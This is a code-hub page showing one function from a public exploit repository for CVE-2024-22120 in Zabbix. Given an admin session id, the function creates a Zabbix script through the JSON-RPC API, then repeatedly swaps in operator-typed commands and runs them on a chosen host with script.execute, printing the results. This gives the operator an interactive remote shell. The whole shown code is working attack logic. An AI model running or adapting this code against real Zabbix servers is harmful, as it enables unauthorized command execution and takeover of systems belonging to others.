MCPcopy Create free account
hub / github.com/W01fh4cker/CVE-2024-22120-RCE / RceExploit

Function RceExploit

CVE-2024-22120-RCE.py:98–131  ·  view source on GitHub ↗
(ip, hostid, admin_sessionid,prefix)

Source from the content-addressed store, hash-verified

96 return False
97
98def RceExploit(ip, hostid, admin_sessionid,prefix):
99 if prefix:
100 url = f"http://{ip}/{prefix}/api_jsonrpc.php"
101 else:
102 url = f"http://{ip}/api_jsonrpc.php"
103 headers = {
104 "content-type": "application/json",
105 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
106 }
107 scriptid = CreateScript(url, headers, admin_sessionid, "whoami")
108 while True:
109 cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ')
110 if cmd == "":
111 print("Result of last command:")
112 elif cmd == "quit":
113 DeleteScript(url, headers, admin_sessionid, scriptid)
114 break
115 UpdateScript(url, headers, admin_sessionid, cmd, scriptid)
116 payload = {
117 "jsonrpc": "2.0",
118 "method": "script.execute",
119 "params": {
120 "scriptid": scriptid,
121 "hostid": hostid
122 },
123 "auth": admin_sessionid,
124 "id": 0,
125 }
126 cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
127 cmd_exe_json = cmd_exe.json()
128 if "error" not in cmd_exe.text:
129 print(cmd_exe_json["result"]["value"])
130 else:
131 print(cmd_exe_json["error"]["data"])
132
133if __name__ == "__main__":
134 if __name__ == "__main__":

Callers 1

Calls 3

CreateScriptFunction · 0.85
DeleteScriptFunction · 0.85
UpdateScriptFunction · 0.85

Tested by

no test coverage detected